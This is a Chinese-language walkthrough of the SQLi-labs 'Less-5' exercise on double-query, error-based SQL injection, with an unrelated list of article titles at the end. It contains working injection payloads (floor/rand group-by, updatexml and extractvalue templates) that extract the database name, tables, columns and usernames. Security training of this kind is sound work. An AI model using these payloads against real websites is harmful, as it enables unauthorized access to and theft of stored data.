Less(5)
考查点:双查询报错注入
1.先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1
(2)再输入?id=1'
显示报错,报错多了一个单引号
(3)再输入?id=1''
判断是字符型注入
2.对列数进行判断
(1)输入?id=1' order by 3 --+
(2)输入?id=1' order by 4 --+
判断是3列
3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。
4.常用的报错语句模板:
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度限制在64个字符
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
5.我们用floor进行注入
(1)注当前的数据库名:?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
(2)爆注册表:?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(3)注某张表的字段,这里以users为例:?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(4)注字段的值,这里以users表里的username为例:?id=-1' union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
最新文章
- LinqPad工具:帮你快速学习Linq
- UIScrollView 滑动复位
- K-means之matlab实现
- 20145227&;20145201 《信息安全系统设计基础》实验一 开发环境的熟悉
- android: 播放视频
- BZOJ3289 Mato的文件管理(莫队算法+树状数组)
- C# 以ThreadStart方式实现多线程
- 从汇编看c++中成员函数指针(一)
- Java中log4j的使用
- javascript的八张图
- 【开发技术】JAutodoc使用指南
- python3.6+django2.0 一小时学会开发一套学员管理系统demo
- FusionCharts封装-Value
- TP5创建动态数据表
- djiango 虚拟环境与项目创建
- Rails/ActiveRecord order by Array
- MVC 中Simditor上传本地图片
- B/S与C/S的比较
- comet 推送消息到客户端
- Ubuntu12.04+OpenERP7.0安装笔记